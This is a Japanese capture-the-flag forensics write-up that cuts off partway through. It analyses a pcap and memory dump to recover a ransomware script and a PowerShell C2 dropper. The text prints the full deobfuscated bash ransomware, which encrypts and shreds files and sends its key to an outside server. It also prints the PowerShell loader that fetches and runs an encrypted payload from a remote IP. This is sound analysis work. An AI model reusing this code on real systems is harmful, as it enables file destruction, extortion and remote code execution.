$ file * flag.txt.a59ap: GPG symmetrically encrypted data (AES256 cipher) forensics.mem: data linux-image-5.10.0-21.zip: Zip archive data, at least v2.0 to extract, compression method=deflate traffic.pcap: pcapng capture file - version 1.0
最終的にはGPGで暗号化されているっぽいflag.txtを復号化できればよさそう。
パケットキャプチャを見てみると情報が少ないのでこちらから見ていく。
GET /packages/Kxr43fMD9t.manifest HTTP/1.1 Host: files.pypi-install.com User-Agent: curl/7.81.0 Accept: */* HTTP/1.1 200 OK Server: nginx Date: Fri, 03 Mar 2023 20:51:27 GMT Content-Type: application/octet-stream Content-Length: 9444 Last-Modified: Sat, 18 Feb 2023 18:56:25 GMT Connection: keep-alive ETag: "63f11f59-24e4" Accept-Ranges: bytes Z0g0PSJFZCI7a00wPSJ4U3oiO2M9ImNoIjtMPSI0IjtyUVc9IiI7ZkUxPSJsUSI7cz0iICdLa21aS2ttWkpvUU1nUVhhNFZXQ0pvUVo1Z1RNVVYzTWlkRlJHQjFiNFZVQ0pvZ2JsaEdkZ3NUWGdJU0tuQjNaZ1lYTGdRbWJoMVdidk5HS2tJQ0k0MUNJYkJpWnBsZ0N1VkdhMEJ5T2QxRklpSXpNME16TTJrak4yY2pjbEIzYnNWbWRsUm1JZzBUUGdJU0twMVdZdmgyZG9RaUlnczFXZ1lX…
base64で何かが送られている。
デコードしてみよう。
gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI ' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp="" x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp") eval "$N0q$x$Hc2$rQW"
難読化されているので、文字列をちまちま代入すると以下のような感じになる
x=$(eval "echo'KkmZKkmZJoQMgQXa4VWCJoQZ5…YvEyI' | rev |base64 -d") eval "$x"
よって、base64っぽい文字列を反転させてbase64デコードすれば次のコードが復元できる。
変数名などがランダム列になっているので、それっぽい名前に変更してある。
#!/bin/bash setGPGKey() { base64encodedGPGKey="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ==" echo $base64encodedGPGKey | base64 --decode | gpg --import echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust } encrypt() { randomStr=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'` echo $randomStr > RxgXlDqP0h3baha gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha shred -u RxgXlDqP0h3baha curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar; do if [[ ${i} != *"*."* ]];then echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null shred -u "$i" 2>/dev/null fi done unset randomStr } showRansomeNote() { cat <<- EOF -------------------------------------------------------------------------- YOUR FILES ARE ENCRYPTED BY AN EXTRATERRESTRIAL RANSOMWARE * What happened? Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our private key. * How to recover my files? Recovering your files is 100% guaranteed if you follow our instructions. One file per infection can be decrypted as proof of work. To decrypt the rest, you must return the relic back to its previous rightful owners. * Is there a deadline? Of course, there is. You have ten days left. Do not miss this deadline. -------------------------------------------------------------------------- EOF } main() { setGPGKey encrypt showRansomeNote } if [[ "$(whoami)" == "developer7669633432" ]]; then if [ -x "$(command -v gpg)" ]; then main exit 1 fi fi
核心的な部分が含まれている。
flag.txtを暗号化している部分は
echo $randomStr | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
の部分。
復号には$randomStrが必要で、RxgXlDqP0h3bahaに書き込まれてはいたがshredされている。
鍵生成部分のstrings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'
を見るとフォーマットは[a-zA-Z0-9]{16}
という感じ。
16桁なのでちょっと全探索は厳しそうではある。
だが、メモリダンプが用意されているということは、メモリダンプからこれを抜き出せるのかも。
適当にstrings forensics.mem | grep -E "[a-zA-Z0-9]{16}" > dic.txt
で辞書を作る。
これを使って全探索をスタートしてもいいが、目grepして使えそうなものを試すと早々に鍵が見つかった。
以下でフラグ獲得。
echo "wJ5kENwyu8amx2RM" | gpg --batch --yes --passphrase-fd 0 -d flag.txt.a59ap 2>/dev/null
[Forensics] Interstellar C2
pcapngファイルが与えられる。
とりあえずプロトコル階層統計を見てみる。
色々プロトコルが書いてあるが、wpadとskypeのもので特に面白いものではない。
HTTP以外は無視してよさそう。
C2通信に関連するのはHTTPのものだけみたい。
最初にhxxp://64.226.84[.]200/vn84.ps1
が記録されている。
難読化されたpowershellファイルであり、難読化解除をちょっとやると以下のような感じ。
.'Set-iTem' ('vAriAble:qLz0so') ( [tYpe]('SySTEM.io.FilEmode')) ; &('set-VariABLE') l60Yu3 ( [tYPe]('sYStem.SeCuRiTY.crypTOgRAphY.aeS')); .('Set-VARiaBle') BI34 ( [TyPE]('sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE')); ${URl} = ('http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51') ${PTF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51" .('Import-Module') ('BitsTransfer') .('Start-BitsTransfer') -Source ${uRl} -Destination ${pTf} ${Fs} = &('New-Object') ('IO.FileStream')(${pTf}, ( &('chilDIteM') ('VAriablE:QLz0sO')).VALue::"oPeN") ${MS} = .('New-Object') ('System.IO.MemoryStream'); ${aes} = (&('GI') VARiaBLe:l60Yu3).VAluE::('Create').Invoke() ${aEs}."KEYsIZE" = 128 ${KEY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0) ${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1) ${aES}."KEY" = ${KEY} ${Aes}."iV" = ${iV} ${cS} = .('New-Object') ('System.Security.Cryptography.CryptoStream')(${mS}, ${aEs}.('CreateDecryptor').Invoke(), (&('GeT-VARIaBLE') bI34 -VaLue )::"WRItE"); ${fs}.('CopyTo').Invoke(${Cs}) ${decD} = ${Ms}.('ToArray').Invoke() ${CS}.('Write').Invoke(${dECD}, 0, ${dECd}."LENgTH"); ${DeCd} | .('Set-Content') -Path "$env:temp\tmp7102591.exe" -Encoding ('Byte') & "$env:temp\tmp7102591.exe"
最終的にtmp7102591.exeというのを持ってきて動かしている。
hxxp://64.226.84[.]200/94974f08-5853-41ab-938a-ae1bd86d8e51
から持ってきて、AESで復号化している。
cyberchefのレシピ的には
こんな感じで変換してやればいい。
これでexeが得られる。
祈りながらfileコマンドを動かすと、めでたくMono。
$ file 94974f08-5853-41ab-938a-ae1bd86d8e51-2 94974f08-5853-41ab-938a-ae1bd86d8e51-2: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
dnSpyで中身を見る。
Programクラスのprimerを見ると最初のリクエストを送っているみたい。
... string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="; ... text2 = Program.Decryption(key, enc);
とりあえず鍵はハードコーディングされている。
復号アルゴリズムはAESで細かな部分を抜粋すると
ここまでくれば復号化できる。
復号すると以下のような内容が得られる。
RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR URLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU KILLDATE16652025-01-015661ETADLLIK SLEEP980013s10089PEELS JITTER20250.25202RETTIJ NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN IMGS19459394"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"49395491SGMI
primerの続きでは
Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR"); Match match = regex.Match(text2); string randomURI = match.Groups[1].ToString(); regex = new Regex("URLS10484390243(.*)34209348401SLRU"); match = regex.Match(text2); string stringURLS = match.Groups[1].ToString(); regex = new Regex("KILLDATE1665(.*)5661ETADLLIK"); match = regex.Match(text2); string killDate = match.Groups[1].ToString(); regex = new Regex("SLEEP98001(.*)10089PEELS"); match = regex.Match(text2); string sleep = match.Groups[1].ToString(); regex = new Regex("JITTER2025(.*)5202RETTIJ"); match = regex.Match(text2); string jitter = match.Groups[1].ToString(); regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN"); match = regex.Match(text2); string key2 = match.Groups[1].ToString(); regex = new Regex("IMGS19459394(.*)49395491SGMI"); match = regex.Match(text2); string stringIMGS = match.Groups[1].ToString(); Program.ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
適当にcsharpコードを書いてパースすると以下のような感じ。
randomURI : dVfhJmc2ciKvPOC stringURLS : "Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", 